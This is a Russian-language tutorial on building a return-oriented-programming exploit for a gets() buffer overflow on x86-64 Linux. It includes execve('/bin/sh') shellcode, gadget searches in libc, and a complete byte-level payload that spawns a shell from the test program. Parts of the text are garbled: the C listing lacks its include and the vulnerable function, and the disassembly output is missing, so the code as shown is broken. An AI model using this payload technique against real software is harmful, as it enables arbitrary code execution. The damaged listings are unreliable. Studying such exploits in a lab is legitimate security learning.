Return oriented programming. Собираем exploit по кусочкам
ВведениеВ этой статье мы попробуем разобраться как работает Return Oriented эксплоит. Тема, в принципе, так себе заезженная, и в инете валяется немало публикаций, но я постараюсь писать так, чтобы эта статья не была их простой компиляцией. По ходу нам придется разбираться с некоторыми системными особенностями Linux и архитектуры x86–64 (все нижеописанные эксперименты были проведены на Ubuntu 14.04). Основной целью будет эксплуатирование тривиальной уязвимости gets с помощью ROP (Return oriented programming).УязвимостьНа самом деле понятно, что поиск уязвимостей — отдельная проблема. Неплохо было бы начать с того, чтобы придумать какую-нибудь простую уязвимость. Вот например функция gets (), входящая в стандартную библиотеку С, является одной большой уязвимостью, ей и воспользуемся.
#include
int main (int argc, char **argv) {
return func ();
}
Данный код считывает из stdin всё, что видит, пока не наткнется на символ конца строки или файла. Вообще говоря, применение этой функции не очень приветствуется и существует она лишь для обратной совместимости. Тем не менее, сам не раз видел свежий код, в котором люди применяли эту функцию. Ну и бог с ним. Попробуем скомпилировать (о значении -fno-stack-protector поговорим позже).
gcc -o main main.c -g -Wall -fno-stack-protector
gcc ещё два раза предупредил нас об абсурдности наших действий (сообщение может отсутствовать в других сборках gcc)
main.c: In function 'func':
main.c:7:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
gets (buf);
^
/tmp/ccBFHgPN.o: In function `func':
/home/alexhoppus/Desktop/rop_tutorial/main.c:7: warning: the `gets' function is dangerous and should not be used.
Ну ладно, давайте разбираться чего он там лепечет про dangerous и deprecated.Smash the stackИз кода выше видно, что есть буфер, в который считывается строка. Буфер находится на стеке. Как известно, стек — это не больше чем кусок rw памяти в адресном пространстве приложения. Давайте попробуем восстановить его layout на x86–64. Делать мы это будем с помощью утилиты objdump, а затем проверим с помощью gdb.
objdump -d main
00000000004005bd
00000000004005f8
section .text global _start _start: mov rax, 0×3b mov rdi, cmd mov rsi, 0 mov rdx, 0 syscall
section .data cmd: db '/bin/sh' .end: Здесь все просто — на x86–64 код приложения выполняет системный вызов используя инструкцию syscall. При этом в %rax необходимо поместить номер системного вызова (0×3b), в регистры %rdi, %rsi, %rdx… помещаются аргументы. Если забыли как выглядит список аргументов execve можете посмотреть тутПроверьте, что shell вызывается: nasm -f elf64 exec1.S -o exec.o ld -o exec exec.o ./exec ГаджетыВообще говоря, гаджет — это просто кусок кода библиотеки или приложения. Искать гаджеты для нашего будущего эксплоита мы будем в libc. Для начала давайте посмотрим в какой адрес мапится код секция libc. Для этого можно, остановить приложение на функции main при помощи gdb и выполнить:
cat /proc/`pidof main`/maps | grep libc | grep r-xp Здесь нам важен флаг «X» в маппинге, по нему мы можем понять, что это непосредственно исполняемая секция. 7ffff7a14000–7ffff7bcf000 r-xp 00000000 08:01 466797 /lib/x86_64-linux-gnu/libc-2.19.so Идеологически поведение будущего эксплоита показано на следующем рисунке: Мы начнем с того, что положим на стек вместо адреса возврата addr1, который будет указывать на первый гаджет из кода libc. Первый гаджет выполнит pop %rax, поместив в регистр %rax приготовленное нами на стеке значение 0×3b, далее ret возьмет со стека адрес addr2 и прыгнет на него. Что касается 0×601000 — это адрес начала rw области (data секция) исполняемого файла ./main: 00400000–00401000 r-xp 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main 00600000–00601000 r--p 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main 00601000–00602000 rw-p 00001000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main Мы выберем этот адрес для того, чтобы поместить по нему строку »/bin//sh». В регистр %rdx сохраним саму строку, а в %rdi её адрес. mov qword [rdi], rdx помещает »/bin//sh» по адресу 0×601000. Основная работа сделана — остальной код обнуляет значение регистров %rsi и %rdx (2 и 3 аргументы execve) и выполняет syscall. Таким образом, мы в 7 return’ов execнули ничего не подозревающий main и превратили его в /bin/sh.Как найти гаджетыНа самом деле существует множество утилит, анализирующих код библиотеки / приложения и предоставляющих вам набор готовых гаджетов с адресами. В данной статье для поиска гаджетов использовалась эта утилита. Пример вывода поисковика гаджетов:
./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.19.so -r 2 | grep «pop rax» … 0×0019d345: pop rax; out dx, al; jmp qword [rdx] ; (1 found) 0×000fafb9: pop rax; pop rdi; call rax; (1 found) 0×000193b8: pop rax; ret; (1 found) 0×001a09c8: pop rax; adc al, 0xF1; jmp qword [rax] ; (1 found) … Для получения реальных адресов гаджетов в памяти необходимо прибавить к полученным в выводе адресам смещение, равное адресу начала маппинга исполняемой секция libc (см. выше) — 0×7ffff7a14000.И что же получается в итоге? После того, как Вы отыщите все необходимые гаджеты, получится что-то вроде
python -c «print 'a'*24+'\xb8\xd3\xa2\xf7\xff\x7f\x00\x00'+'\x3b\x00\x00\x00\x00\x00\x00\x00'+'\x21\x6a\xa3\xf7\xff\x7f\x00\x00'+'\x00\x10\x60\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x2f\x62\x69\x6e\x2f\x73\x68\x00'+'\x27\x3c\xa3\xf7\xff\x7f\x00\x00'+'\x14\xa1\xb4\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\xd5\x68\xad\xf7\xff\x7f\x00\x00'» | ./main Проверьте с помощью strace, что shell действительно запускается. Если все сделано верно, /bin/sh запустится и сразу же выйдет, так как на stdin уже пусто. По понятным причинам в реальных условиях связывать stdin этого шела с клавиатурой никто не будет, но мы можем позволить небольшой хак, чтобы протестировать работоспособность эксплоита: alexhoppus@hp:~/Desktop/rop_tutorial$ cat <(python -c "print 'a'*24+'\xb8\xd3\xa2\xf7\xff\x7f\x00\x00'+'\x3b\x00\x00\x00\x00\x00\x00\x00'+'\x21\x6a\xa3\xf7\xff\x7f\x00\x00'+'\x00\x10\x60\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x2f\x62\x69\x6e\x2f\x73\x68\x00'+'\x27\x3c\xa3\xf7\xff\x7f\x00\x00'+'\x14\xa1\xb4\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\xd5\x68\xad\xf7\xff\x7f\x00\x00'") - | ./main aaaaaaaaaaaaaaaaaaaaaaaaӢ ls Blank Flowchart - New Page (2).jpeg article~ exec1.S input main.c shell a.out exec hello input2 rop.jpeg stack.jpeg article Ну вот и всё. Надеюсь что статья даст почву для ваших будущих экспериментов (не в практической плоскости, а научно-познавательной).